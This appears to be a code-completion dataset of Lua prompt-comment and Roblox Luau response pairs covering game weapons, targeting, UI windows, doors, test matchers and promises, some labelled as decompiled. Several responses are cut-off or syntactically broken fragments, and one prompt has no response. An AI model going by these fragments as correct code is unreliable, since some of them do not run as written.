	return chalk.bold(chalk.green(...))
end


Prompt: -- поиск билжайшей цели в пределах дистанции

Response:
function module.findNearestHead(pos,max_dist)
	local children
	local target = nil
	local target_head = nil
	local rayResult = nil

	for _, player in pairs(find:GetChildren()) do
		local target_head = player:FindFirstChild("Head")
		if target_head ~= nil then
			if player:FindFirstChild("Humanoid") ~= nil then
				local hum=player:FindFirstChild("Humanoid")
				if player:FindFirstChild("Team") ~= nil and hum.Health>0 then
					if (target_head.Position - pos.Position).magnitude < max_dist and player.Team.Value~="Ally" then
						-- поиск ближайшего
						if target == nil or (target_head.Position - pos.Position).magnitude < (target.Position - pos.Position).magnitude then
							target=target_head
							-- rayResult = myRay(target,pos,max_dist)
							rayResult = true -- проверка что тормозят райкасты


Prompt: --------------------[ RELOAD FUNCTIONS ]----------------------------------------------

Response:
function ReloadAnim()
	TweenJoint(LWeld2, CF(), CF(), Sine, 0.15)
	TweenJoint(RWeld2, CF(), CF(), Sine, 0.15)
	local Speed = S.ReloadTime / 2
	local Mag_Parts = {}

	for _, Obj in pairs(Gun:GetChildren()) do
		if Obj.Name == "Mag" and Obj:IsA("BasePart") then
			INSERT(Mag_Parts, {Original = Obj, Clone1 = Obj:Clone(), Clone2 = Obj:Clone()})
		end
	end

	local W1 = nil
	local W2 = nil

	local SequenceTable = {

		function()

			for Index, Mag in pairs(Mag_Parts) do
				Mag.Original.Transparency = 1
				Mag.Clone1.Parent = Gun_Ignore
				Mag.Clone1.CanCollide = true

				if Index ~= 1 then
					local W = Instance.new("Weld")
					W.Part0 = Mag_Parts[1].Clone1
					W.Part1 = Mag.Clone1
					W.C0 = Mag_Parts[1].Clone1.CFrame:toObjectSpace(Mag.Clone1.CFrame)
					W.Parent = Mag_Parts[1].Clone1
				end
			end

			W1 = Instance.new("Weld")
			W1.Part0 = Mag_Parts[1].Clone1
			W1.Part1 = Handle
			W1.C0 = Mag_Parts[1].Original.CFrame:toObjectSpace(Handle.CFrame)
			W1.Parent = Mag_Parts[1].Clone1

			TweenJoint(LWeld, ArmC0[1], CF(0, 0.61, 0) * CFANG(RAD(70), 0, 0), Linear, 0.5 * Speed)
			TweenJoint(RWeld, ArmC0[2], CF(0.4, 0.09, -0.21) * CFANG(RAD(20), RAD(3), 0), Linear, 0.35 * Speed)
			TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.5 * Speed)
			wait(0.3 * Speed)

		end;

		function()

			TweenJoint(RWeld, ArmC0[2], CF(0.4, -0.01, -0.31) * CFANG(RAD(-22), RAD(3), 0), Sine, 0.3 * Speed)
			wait(0.2 * Speed)

		end;

		function()

			W1:Destroy()
			Mag_Parts[1].Clone1.Velocity = Handle.Velocity + Handle.CFrame:vectorToWorldSpace(VEC3(0,-5,0)) * 20
			spawn(function()
				while Mag_Parts[1].Clone1.Velocity.magnitude > 0.1 do wait() end
				for _, Mag in pairs(Mag_Parts) do
					Mag.Clone1.Anchored = true
					Mag.Clone1:BreakJoints()
				end
			end)

			for Index, Mag in pairs(Mag_Parts) do
				Mag.Clone2.Parent = Gun_Ignore

				if Index ~= 1 then
					local W = Instance.new("Weld")
					W.Part0 = Mag_Parts[1].Clone2
					W.Part1 = Mag.Clone2
					W.C0 = Mag_Parts[1].Clone2.CFrame:toObjectSpace(Mag.Clone2.CFrame)
					W.Parent = Mag_Parts[1].Clone2
				end
			end

			W2 = Instance.new("Weld")
			W2.Part0 = FakeLArm
			W2.Part1 = Mag_Parts[1].Clone2
			W2.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, 0)
			W2.Parent = FakeLArm
			wait(0.1)

		end;

		function()

			local FakeLArmCF = LWeld.Part0.CFrame * ArmC0[1] * (CF(0.3, 1.9, -0.31) * CFANG(RAD(-20), RAD(30), RAD(-60))):inverse()
			local FakeRArmCF = RWeld.Part0.CFrame * ArmC0[2] * (CF(0.4, -0.1, -0.21) * CFANG(RAD(-20), RAD(5), RAD(10))):inverse()
			local HandleCF = FakeRArm.CFrame:toObjectSpace(Grip.Part0.CFrame * Grip.C0)
			local Mag_Original_CF = Handle.CFrame:toObjectSpace(Mag_Parts[1].Original.CFrame)
			local MagC0 = FakeLArmCF:toObjectSpace(FakeRArmCF * HandleCF * Mag_Original_CF)

			TweenJoint(LWeld, ArmC0[1], CF(.6, 1.8, -.3) * CFANG(RAD(-12), RAD(40), RAD(-60)), Sine, 0.6 * Speed)
			TweenJoint(RWeld, ArmC0[2], CF(.6, -0.1, -0.5) * CFANG(RAD(-20), RAD(15), RAD(10)), Sine, 0.6 * Speed)
			TweenJoint(Grip, Grip.C0, CF(), Sine, 0.6 * Speed)
			TweenJoint(W2, MagC0, CF(), Sine, 0.6 * Speed)
			wait(0.8 * Speed)

		end;

		function()

			for _, Mag in pairs(Mag_Parts) do
				Mag.Original.Transparency = 0
				Mag.Clone2:Destroy()
			end

			TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.5 * Speed)
			TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.5 * Speed)
			TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.5 * Speed)
			wait(0.5 * Speed)

		end;

	}

	for _,ReloadFunction in pairs(SequenceTable) do
		if BreakReload then
			break
		end
		ReloadFunction()
	end

	if W1 then W1:Destroy() end
	if W2 then W2:Destroy() end
	for _, Mag in pairs(Mag_Parts) do
		Mag.Clone1:Destroy()
		Mag.Clone2:Destroy()
	end
end

function Reload()
	Running = false
	if Ammo.Value < ClipSize.Value and (not Reloading) and StoredAmmo.Value > 0 then
		AmmoInClip = (AmmoInClip == 0 and Ammo.Value or AmmoInClip)
		Ammo.Value = 0
		Reloading = true
		if Aimed then UnAimGun(S.ReloadAnimation) end
		Gui_Clone.CrossHair.Reload.Visible = true
		if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end
		if S.ReloadAnimation then
			wait()
			ReloadAnim()
		else
			local StartReload = tick()
			while true do
				if BreakReload then break end
				if (tick() - StartReload) >= S.ReloadTime then break end
				RS:wait()
			end
		end
		if (not BreakReload) then
			if StoredAmmo.Value >= ClipSize.Value then
				Ammo.Value = ClipSize.Value
				if AmmoInClip > 0 then
					StoredAmmo.Value = StoredAmmo.Value - (ClipSize.Value - AmmoInClip)
				else
					StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value
				end
			elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then
				Ammo.Value = StoredAmmo.Value
				StoredAmmo.Value = 0
			end
		end
		BreakReload = false
		Reloading = false
		if Selected then
			AmmoInClip = 0
			Gui_Clone.CrossHair.Reload.Visible = false
		end
	end
end


Prompt: -- Get services

Response:
local players = game:GetService("Players")
local soundService = game:GetService("SoundService")
local replicatedStorage = game:GetService("ReplicatedStorage")


Prompt:
--[[
	Registers all spots associated with this canvas.

	Parameters:
	- spots (table[spots]): table list of Spot instances that are associated with this canvas.
]]

Response:
function Canvas:registerSpots(spots)
	self.spots = spots
end

return Canvas


Prompt: ---------Credits on bottom of screen

Response:
Bin = script.Parent

function onButton1Down(mouse)
local smoke = script.Parent.Parent.Parent.Character.Leg1.Part
local smoke2 = script.Parent.Parent.Parent.Character.Leg2.Part
smoke.Smoke.Enabled = true
smoke2.Smoke.Enabled = true
end

function onButton1Up(mouse)
local smoke = script.Parent.Parent.Parent.Character.Leg1.Part
local smoke2 = script.Parent.Parent.Parent.Character.Leg2.Part
smoke.Smoke.Enabled = false
smoke2.Smoke.Enabled = false
end

function onSelected(mouse)
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.Button1Up:connect(function() onButton1Up(mouse) end)
end
Bin.Selected:connect(onSelected)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
service = nil;
return function(p1)
	local v1 = client.UI.Make("Window", {
		Name = "CreateCard",
		Title = "Create Card",
		Icon = client.MatIcons["Add circle"],
		Size = { 400, 330 },
		AllowMultiple = false,
		OnClose = function()

		end
	});
	if v1 then
		v1:Add("TextLabel", {
			Text = "List Name:  ",
			BackgroundTransparency = 1,
			Size = UDim2.new(0, 80, 0, 30),
			Position = UDim2.new(0, 10, 0, 10),
			TextXAlignment = "Right"
		}):Copy("TextLabel", {
			Text = "Card Name:  ",
			Position = UDim2.new(0, 10, 0, 50)
		}):Copy("TextLabel", {
			Text = "Card Desc:  ",
			Position = UDim2.new(0, 10, 0, 90)
		});
		local v2 = v1:Add("TextBox", {
			Text = "",
			BackgroundTransparency = 0.5,
			Position = UDim2.new(0, 90, 0, 10),
			Size = UDim2.new(1, -100, 0, 30),
			BackgroundColor3 = v1.BackgroundColor3:lerp(Color3.new(1, 1, 1), 0.2),
			TextWrapped = true
		});
		local v3 = {
			Text = "Create",
			Size = UDim2.new(0, 70, 0, 30),
			Position = UDim2.new(0, 10, 1, -40)
		};
		local u1 = false;
		local u2 = v2:Copy("TextBox", {
			Position = UDim2.new(0, 90, 0, 50)
		});
		local u3 = v2:Copy("TextBox", {
			Position = UDim2.new(0, 90, 0, 90),
			Size = UDim2.new(1, -100, 1, -100)
		});
		function v3.OnClick()
			if not u1 then
				u1 = true;
				v1:Destroy();
				client.Remote.Send("TrelloOperation", {
					Action = "MakeCard",
					List = v2.Text,
					Name = u2.Text,
					Desc = u3.Text
				});
			end;
		end;
		local v4 = v1:Add("TextButton", v3);
		local l__gTable__5 = v1.gTable;
		v1:Ready();
	end;
end;


Prompt: -- ROBLOX deviation: upstream defines matchers as a single monolithic object but we split it up for readability

Response:
local function toBe(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: any,
	expected: any
)
	local matcherName = "toBe"
	local options: MatcherHintOptions = {
		comment = "Object.is equality",
		isNot = self.isNot,
		promise = self.promise,
	}

	local pass = Object.is(received, expected)

	local message
	if pass then
		message = function()
			return matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. string.format("Expected: never %s", printExpected(expected))
		end
	else
		message = function()
			local deepEqualityName = nil
			-- ROBLOX deviation: no map or set types for now so this check is always true so we omit it
			-- if expectedType ~= 'map' and expectedType ~= 'set' then
			-- If deep equality passes when referential identity fails,
			-- but exclude map and set until review of their equality logic.
			-- ROBLOX deviation: no strict equality in lua
			if equals(received, expected, { iterableEquality }) then
				deepEqualityName = "toEqual"
			end
			-- end

			local retval = matcherHint(matcherName, nil, nil, options) .. "\n\n"
			if deepEqualityName ~= nil then
				retval = retval
					.. DIM_COLOR(
						string.format(
							'If it should pass with deep equality, replace "%s" with "%s"',
							matcherName,
							deepEqualityName
						)
					)
					.. "\n\n"
			end
			return retval
				.. printDiffOrStringify(expected, received, EXPECTED_LABEL, RECEIVED_LABEL, isExpand(self.expand))
		end
	end

	-- Passing the actual and expected objects so that a custom reporter
	-- could access them, for example in order to display a custom visual diff,
	-- or create a different error message
	return { actual = received, expected = expected, message = message, name = matcherName, pass = pass }
end

local function toBeCloseTo(
	-- ROBLOX deviation: self param in Lua needs to be explicitely defined
	self: MatcherState,
	received: number,
	expected: number,
	precision: number
)
	-- ROBLOX deviation: instead of getting argument count, just see if last arg is nil
	local secondArgument
	if precision then
		secondArgument = "precision"
	else
		precision = 2
	end
	local matcherName = "toBeCloseTo"
	local isNot = self.isNot
	local options: MatcherHintOptions = {
		isNot = isNot,
		promise = self.promise,
		secondArgument = secondArgument,
		secondArgumentColor = function(arg: string)
			return arg
		end,
	}

	if typeof(expected) ~= "number" then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must be a number", EXPECTED_COLOR("expected")),
					printWithType("Expected", expected, printExpected)
				)
			)
		)
	end

	if typeof(received) ~= "number" then
		error(
			Error(
				matcherErrorMessage(
					matcherHint(matcherName, nil, nil, options),
					string.format("%s value must be a number", RECEIVED_COLOR("received")),
					printWithType("Received", received, printReceived)
				)
			)
		)
	end

	local pass = false
	local expectedDiff = 0
	local receivedDiff = 0

	if received == math.huge and expected == math.huge then
		pass = true -- Infinity - Infinity is NaN
	elseif received == -math.huge and expected == -math.huge then
		pass = true -- -Infinity - -Infinity is NaN
	else
		expectedDiff = (10 ^ -precision) / 2
		receivedDiff = math.abs(expected - received)
		pass = receivedDiff < expectedDiff
	end

	local message
	if pass then
		message = function()
			local retval = matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. string.format("Expected: never %s\n", printExpected(expected))
			if receivedDiff == 0 then
				return retval
			end
			return retval
				.. string.format("Received:       %s\n", printReceived(received))
				.. "\n"
				.. printCloseTo(receivedDiff, expectedDiff, precision, isNot)
		end
	else
		message = function()
			return matcherHint(matcherName, nil, nil, options)
				.. "\n\n"
				.. string.format("Expected: %s\n", printExpected(expected))
				.. string.format("Received: %s\n", printReceived(received))
				.. "\n"
				.. printCloseTo(receivedDiff, expectedDiff, precision, isNot)
		end
	end

	return { message = message, pass = pass }
end


Prompt: --custom cat stuff

Response:
function AlarmHazards(typ)
	blinking = false
	blinking = true
	while blinking and script.Parent.Parent.Alarm.Value == true do
		Toggle("Hazards", true)
		wait(1/3)
		Toggle("Hazards", false)
		wait(1/3)
	end
	Toggle('Hazards', false)
end

script.Parent.Parent.Alarm.Changed:Connect(function()
	if script.Parent.Parent.Alarm.Value == true then
		AlarmHazards()
	end
end)


Prompt: -- Creates a chat message when a player joins or leaves the server.


Prompt: --This module is for any client FX related to the first door on the left.

Response:
local DoorFX = {}

local tweenService = game:GetService("TweenService")

local tweenInfo = TweenInfo.new(1.5, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)

function DoorFX.OPEN(door)
	if not door then return end

	tweenService:Create(door.Door.Main, tweenInfo, {CFrame = door.Door.Goal.CFrame}):Play()

	door.Door.Main.DoorOpenFADEOUT:Play()
end

function DoorFX.CLOSE(door)
	if not door then return end

	door.Door.Main.CFrame = door.Door.Home.CFrame
end

return DoorFX


Prompt: ----------//KeyBinds\\----------

Response:
CAS:BindAction("Run", handleAction, false, Enum.KeyCode.LeftShift)

CAS:BindAction("Stand", handleAction, false, Enum.KeyCode.X)
CAS:BindAction("Crouch", handleAction, false, Enum.KeyCode.C)
CAS:BindAction("NVG", handleAction, false, Enum.KeyCode.N)

CAS:BindAction("ToggleWalk", handleAction, false, Enum.KeyCode.Z)
CAS:BindAction("LeanLeft", handleAction, false, Enum.KeyCode.Q)
CAS:BindAction("LeanRight", handleAction, false, Enum.KeyCode.E)


Prompt: --Max/min degrees for panning: 359/0

Response:
TurnJump=1.0		--Number of degrees each movement makes. 1 = 1 degree every time; 0.5 = half a degree every time; ect.
TurnSpeed=0.0001	--Wait time between jumps
SpeedVariation=1

Beam=script.Parent.Tilt.H1
CPan=0
CTilt=0

local Pan = Instance.new("Weld")
Pan.Part0 = script.Parent.Base
Pan.Part1 = script.Parent.Pan.Handle
Pan.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0,1,0)
Pan.Parent = script.Parent
local Tilt = Instance.new("Weld")
Tilt.Part0 = script.Parent.Pan.Center
Tilt.Part1 = script.Parent.Tilt.Handle
Tilt.C1 = CFrame.fromEulerAnglesXYZ(math.pi/-2, math.pi/2, 0) * CFrame.new(0,0,0)
Tilt.Parent = script.Parent

OneDegree=math.pi/180
function Degrees(Des)
	return(Des*OneDegree)
end

Colors={"Hot pink", "Really blue"}
function RandColor()
	return Colors[math.random(1, #Colors)]
end

function On(Color)
	Beam.BrickColor=BrickColor.new(Color)
	Beam.Transparency=0.3
end
function Off()
	Beam.Transparency=1
end

function Reach(PanDegree,TiltDegree,Speed)
	ReachedPan=false
	ReachedTilt=false
	Moving=true

	--Send out the directional degree spiders! They will go out and seek the shortest path around.
	Current=CPan
	Pos=0
	while Current~=PanDegree do
		Current=Current+TurnJump
		Pos=Pos+1
		if Current>359 then
			Current=Current-360
		end
	end
	Current=CPan
	Neg=0
	while Current~=PanDegree do
		Current=Current-TurnJump
		Neg=Neg+1
		if Current<0 then
			Current=Current+360
		end
	end
	Rand=math.random(1,2)

	while ReachedPan==false or ReachedTilt==false and Moving==true do
		if CPan-0.5<PanDegree and CPan+0.5>PanDegree then
			ReachedPan=true
		end
		if CTilt-0.5<TiltDegree and CTilt+0.5>TiltDegree then
			ReachedTilt=true
		end
		if ReachedPan==false then
			PN=0					--] Deternine Direction of movement
			if Pos<Neg then			--]
				PN=1					--]
			elseif Neg<Pos then		--]
				PN=-1					--]
			elseif Neg==Pos then		--]
				if Rand==1 then			--]
					PN=-1					--]
				else						--]
					PN=1					--]
				end						--]
			end						--]

			CPan=CPan+TurnJump*PN
			if CPan>359 then
				CPan=CPan-360
			end
			if CPan<0 then
				CPan=360+CPan
			end
			Pan.C1=Pan.C1*CFrame.fromEulerAnglesXYZ(0,Degrees(1)*PN*TurnJump,0)
		end
		if ReachedTilt==false then
			PN=0						--] Deternine Direction of movement
			if TiltDegree-CTilt<0 then		--]
				PN=-1						--]
			elseif TiltDegree-CTilt>=0 then	--]
				PN=1						--]
			end							--]
			CTilt=CTilt+PN*TurnJump
			Tilt.C1=Tilt.C1*CFrame.fromEulerAnglesXYZ(0,Degrees(1)*PN*TurnJump,0)
		end
		wait(Speed)
	end
end

function Move()
	Moving=false
	wait(script.Parent.Move.Value.Z*2)
	Reach(script.Parent.Move.Value.X,script.Parent.Move.Value.Y,script.Parent.Move.Value.Z)
end
script.Parent.Move.Changed:connect(Move)
while true do
	On(RandColor())
	Reach(math.random(0,159),math.random(-115,115),TurnSpeed+math.random(TurnSpeed*-SpeedVariation*1000000,TurnSpeed*SpeedVariation*1000000)/1000000)
end


Prompt: -- Libraries

Response:
local Libraries = Tool:WaitForChild 'Libraries'
local Support = require(Libraries:WaitForChild 'SupportLibrary')

local PaintHistoryRecord = {}
PaintHistoryRecord.__index = PaintHistoryRecord

function PaintHistoryRecord.new()
    local self = setmetatable({}, PaintHistoryRecord)

    -- Include selection
    self.Selection = Support.CloneTable(Core.Selection.Items)
    self.Parts = Support.CloneTable(Core.Selection.Parts)

    -- Initialize color data
    self.InitialColor = Support.GetMemberMap(self.Parts, 'Color')
    self.TargetColor = nil

    -- Initialize union data
    self.InitialUnionColoring = {}
    for _, Part in pairs(self.Parts) do
        if Part:IsA 'UnionOperation' then
            self.InitialUnionColoring[Part] = Part.UsePartColor
        end
    end

    -- Return new record
    return self
end

function PaintHistoryRecord:Unapply()
    local Changes = {}

    -- Assemble change list
    for _, Part in ipairs(self.Parts) do
        table.insert(Changes, {
            Part = Part,
            Color = self.InitialColor[Part],
            UnionColoring = self.InitialUnionColoring[Part]
        })
    end

    -- Push changes
    Core.SyncAPI:Invoke('SyncColor', Changes)

    -- Restore selection
    Core.Selection.Replace(self.Selection)
end

function PaintHistoryRecord:Apply(KeepSelection)
    local Changes = {}

    -- Assemble change list
    for _, Part in ipairs(self.Parts) do
        table.insert(Changes, {
            Part = Part,
            Color = self.TargetColor,
            UnionColoring = true
        })
    end

    -- Push changes
    Core.SyncAPI:Invoke('SyncColor', Changes)

    -- Restore selection
    if not KeepSelection then
        Core.Selection.Replace(self.Selection)
    end
end

return PaintHistoryRecord


Prompt: --Objects

Response:
local Chassis = require(script.Parent.ChassisModule)
Chassis.InitializeSeats()
local driverScript = script.Parent:WaitForChild("Driver")
local root = script.Parent.Parent

local driverSeat = Chassis.GetDriverSeat()
local AdditionalSeats = Chassis.GetPassengerSeats()
local LocalSeatingScript = script:WaitForChild("LocalVehicleSeatingScript")


Prompt: -- Basic settings

Response:
local FOOTSTEP_PLACEMENT_RATE = 0.4
local GROUND_DETECTION_DISTANCE = 3.1

local plr = game.Players.LocalPlayer

game.ReplicatedStorage.Interactions.Client.Perks.ShowFootsteps.OnClientEvent:connect(function(plrs)

	-- Make sure character is alive
	if plr.Character ~= nil then

		-- Set up detection part for each player
		local ignore = plr.PlayerScripts.Functions.GetRayIgnoreList:Invoke()
		for _, i in pairs(plrs) do
			local thisChr = i.Character
			if thisChr:FindFirstChild("HumanoidRootPart") and i ~= plr then
				local left = false
				local waitTime = FOOTSTEP_PLACEMENT_RATE
				local color = Color3.fromHSV(math.random(), 1, 1)
				spawn(function()
					while wait(waitTime) do

						-- Check if detection part is gone or owner is gone
						if thisChr.Parent == nil or thisChr:FindFirstChild("HumanoidRootPart") == nil then
							break
						end

						-- Check if should place a foot step
						local ray = Ray.new(thisChr.HumanoidRootPart.Position, Vector3.new(0, -GROUND_DETECTION_DISTANCE, 0))
						local hit, hitPos = workspace:FindPartOnRayWithIgnoreList(ray, ignore, false, true)
						if hit ~= nil and thisChr.HumanoidRootPart.Velocity.Magnitude > 1 then

							-- Tell the owner to place a footstep
							local cfr
							if left then
								cfr = thisChr.HumanoidRootPart.CFrame * CFrame.new(-0.5, -2.95, 0)
								left = false
							else
								cfr = thisChr.HumanoidRootPart.CFrame * CFrame.new(0.5, -2.95, 0)
								left = true
							end
							plr.PlayerScripts.Functions.PlaceFootstep:Fire(cfr, color, thisChr.Humanoid)

							-- Set wait time to be the placement rate
							waitTime = FOOTSTEP_PLACEMENT_RATE

						else

							-- Set wait time to be quick
							waitTime = 0.033

						end

					end
				end)
			end
		end

	end

end)


Prompt:
--[[

	Grabs gamepass info - cleaner alternative to GetProductInfo. Caches and may potentially yield.

	Functions.GetGamepassInfo(
		id, 					<-- |REQ|	ID of gamepass. (w/o link)
	)

--]]

Response:
return function(id)
	--- Check cache
	if not cachedGamepassInfo[id] then
		--- Get product info
		local productInfo = _L.Services.MarketplaceService:GetProductInfo(id, Enum.InfoType.GamePass)

		--- Update cache
		if productInfo then
			cachedGamepassInfo[id] = productInfo
		end

		--
		return productInfo
	else

		--- Return cache
		return cachedGamepassInfo[id]
	end
end


Prompt: --// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances

Response:
return function(Vargs, GetEnv)
	local env = GetEnv(nil, {script = script})
	setfenv(1, env)

	local server = Vargs.Server;
	local service = Vargs.Service;

	local Settings = server.Settings
	local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
		server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps

	--if true then return end --// fully disabled
	service.TrackTask("Thread: WEBPANEL_JSON_UPDATE", function()
		task.wait(1)
		local enabled = rawget(_G,"ADONISWEB_CMD_JSON_DOUPDATE");
		local secret = rawget(_G,"ADONISWEB_CMD_JSON_SECRET");
		local endpoint = rawget(_G,"ADONISWEB_CMD_JSON_ENDPOINT");
		if not enabled or not secret or not endpoint then return end

		print("WEB ENABLED DO UPDATE");

		if Core.DebugMode and enabled then
			print("DEBUG DO LAUNCH ENABLED");
			task.wait(5)

			local list = {};
			local HTTP = service.HttpService;
			local Encode = Functions.Base64Encode
			local Decode = Functions.Base64Decode

			for i,cmd in Commands do
				table.insert(list, {
					Index = i;
					Prefix = cmd.Prefix;
					Commands = cmd.Commands;
					Arguments = cmd.Args;
					AdminLevel = cmd.AdminLevel;
					Hidden = cmd.Hidden or false;
					NoFilter = cmd.NoFilter or false;
				})
			end

			--warn("COMMANDS LIST JSON: ");
			--print(`\n\n{HTTP:JSONEncode(list)}\n\n`);
			--print("ENCODED")
			--// LAUNCH IT
			print("LAUNCHING")
			local success, res = pcall(HTTP.RequestAsync, HTTP, {
				Url = endpoint;
				Method = "POST";
				Headers = {
					["Content-Type"] = "application/json",
					["Secret"] = secret
				};

				Body = HTTP:JSONEncode({
					["data"] = Encode(HTTP:JSONEncode(list))
				})
			});

			print("LAUNCHED TO WEBPANEL")
			print("RESPONSE BELOW")
			print(`SUCCESS: {success}\nRESPONSE:\n{(res and HTTP.JSONEncode(res)) or res}`)
		end
	end)
end


Prompt:
--[[**
	ensures value is a number where min <= value

	@param min The minimum to use

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.numberMin(min)
	return function(value)
		local success = t.number(value)
		if not success then
			return false
		end

		if value >= min then
			return true
		else
			return false
		end
	end
end


Prompt:
--[[
	Races a set of Promises and returns the first one that resolves,
	cancelling the others.
]]

Response:
function Promise.race(promises)
	assert(type(promises) == "table", string.format(ERROR_NON_LIST, "Promise.race"))

	for i, promise in pairs(promises) do
		assert(Promise.is(promise), string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.race", tostring(i)))
	end

	return Promise._new(debug.traceback(nil, 2), function(resolve, reject, onCancel)
		local newPromises = {}
		local finished = false

		local function cancel()
			for _, promise in ipairs(newPromises) do
				promise:cancel()
			end
		end

		local function finalize(callback)
			return function (...)
				cancel()
				finished = true
				return callback(...)
			end
		end

		if onCancel(finalize(reject)) then
			return
		end

		for i, promise in ipairs(promises) do
			newPromises[i] = promise:andThen(finalize(resolve), finalize(reject))
		end

		if finished then
			cancel()
		end
	end)
end
Promise.Race = Promise.race


Prompt: -- Test selectors (when unsupported)

Response:
return {
	supportsTestSelectors = false,
	findFiberRoot = shim,
	getBoundingRect = shim,
	getTextContent = shim,
	isHiddenSubtree = shim,
	matchAccessibilityRole = shim,
	setFocusIfFocusable = shim,
	setupIntersectionObserver = shim,
}


Prompt: ---------END LEFT DOOR

Response:
game.Workspace.DoorValues.Moving.Value = true
game.Workspace.DoorClosed.Value = true
wait(0.1)
until game.Workspace.DoorValues.Close.Value==69
end
game.Workspace.DoorValues.Moving.Value = false
end
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
service = nil;
return function(p1)
	local v1 = p1.Color or Color3.new(1, 1, 1);
	local v2 = {
		Name = "ColorPicker",
		Title = p1.Title and "Color Picker",
		Size = { 250, 230 },
		MinSize = { 150, 230 },
		MaxSize = { math.huge, 230 },
		SizeLocked = true
	};
	local u1 = nil;
	local u2 = v1;
	function v2.OnClose()
		if not u1 then
			u1 = u2;
		end;
	end;
	local v3 = client.UI.Make("Window", v2);
	local v4 = {
		Text = "Accept",
		Size = UDim2.new(1, -10, 0, 20),
		Position = UDim2.new(0, 5, 0, 175)
	};
	local v5 = {};
	function v5.MouseButton1Down()
		u1 = u2;
		v3:Close();
	end;
	v4.Events = v5;
	local v6 = v3:Add("TextButton", v4);
	local u3 = v1.r;
	local u4 = v1.g;
	local u5 = v1.b;
	local u6 = v3:Add("Frame", {
		Size = UDim2.new(1, -10, 0, 20),
		Position = UDim2.new(0, 5, 0, 150),
		BackgroundColor3 = u2
	});
	local u7 = nil;
	local u8 = nil;
	local u9 = nil;
	local u10 = nil;
	local u11 = nil;
	local u12 = nil;
	local v7 = {
		Text = "Red: ",
		BoxText = u3 * 255,
		BackgroundTransparency = 1,
		TextSize = 20,
		Size = UDim2.new(1, -20, 0, 20),
		Position = UDim2.new(0, 10, 0, 0)
	};
	local function u13()
		u2 = Color3.new(u3, u4, u5);
		u6.BackgroundColor3 = u2;
		u7:SetValue(math.floor(u3 * 255));
		u8.SliderBar.ImageColor3 = Color3.new(0, 0, 0):lerp(Color3.new(1, 0, 0), u3);
		u8:SetValue(u3);
		u9:SetValue(math.floor(u4 * 255));
		u10.SliderBar.ImageColor3 = Color3.new(0, 0, 0):lerp(Color3.new(0, 1, 0), u4);
		u10:SetValue(u4);
		u11:SetValue(math.floor(u5 * 255));
		u12.SliderBar.ImageColor3 = Color3.new(0, 0, 0):lerp(Color3.new(0, 0, 1), u5);
		u12:SetValue(u5);
	end;
	function v7.TextChanged(p2, p3, p4)
		if tonumber(p2) then
			local v8 = nil;
			p2 = math.floor(tonumber(p2));
			if p2 < 0 then
				v8 = true;
				p2 = 0;
			elseif p2 > 255 then
				v8 = true;
				p2 = 255;
			end;
			u3 = p2 / 255;
			u13();
			if v8 then
				return p2;
			end;
		elseif p3 then
			return u3 * 255;
		end;
	end;
	u7 = v3:Add("StringEntry", v7);
	u9 = v3:Add("StringEntry", {
		Text = "Green: ",
		BoxText = u4 * 255,
		BackgroundTransparency = 1,
		TextSize = 20,
		Size = UDim2.new(1, -20, 0, 20),
		Position = UDim2.new(0, 10, 0, 50),
		TextChanged = function(p5, p6, p7)
			if tonumber(p5) then
				local v9 = false;
				p5 = math.floor(tonumber(p5));
				if p5 < 0 then
					v9 = true;
					p5 = 0;
				elseif p5 > 255 then
					v9 = true;
					p5 = 255;
				end;
				u4 = p5 / 255;
				u13();
				if v9 then
					return p5;
				end;
			elseif p6 then
				return u4 * 255;
			end;
		end
	});
	u11 = v3:Add("StringEntry", {
		Text = "Blue: ",
		BoxText = u5 * 255,
		BackgroundTransparency = 1,
		TextSize = 20,
		Size = UDim2.new(1, -20, 0, 20),
		Position = UDim2.new(0, 10, 0, 100),
		TextChanged = function(p8, p9, p10)
			if tonumber(p8) then
				local v10 = false;
				p8 = math.floor(tonumber(p8));
				if p8 < 0 then
					v10 = true;
					p8 = 0;
				elseif p8 > 255 then
					v10 = true;
					p8 = 255;
				end;
				u5 = p8 / 255;
				u13();
				if v10 then
					return p8;
				end;
			elseif p9 then
				return u5 * 255;
			end;
		end
	});
	u8 = v3:Add("Slider", {
		Percent = u2.r,
		Size = UDim2.new(1, -20, 0, 20),
		Position = UDim2.new(0, 10, 0, 25),
		OnSlide = function(p11)
			u3 = p11;
			u13();
		end
	});
	u10 = v3:Add("Slider", {
		Percent = u2.r,
		Size = UDim2.new(1, -20, 0, 20),
		Position = UDim2.new(0, 10, 0, 75),
		OnSlide = function(p12)
			u4 = p12;
			u13();
		end
	});
	u12 = v3:Add("Slider", {
		Percent = u2.r,
		Size = UDim2.new(1, -20, 0, 20),
		Position = UDim2.new(0, 10, 0, 125),
		OnSlide = function(p13)
			u5 = p13;
			u13();
		end
	});
	u13();
	local l__gTable__11 = v3.gTable;
	v3:ResizeCanvas();
	v3:Ready();
	while true do
		wait();
		if u1 then
			break;
		end;
		if not l__gTable__11.Active then
			break;
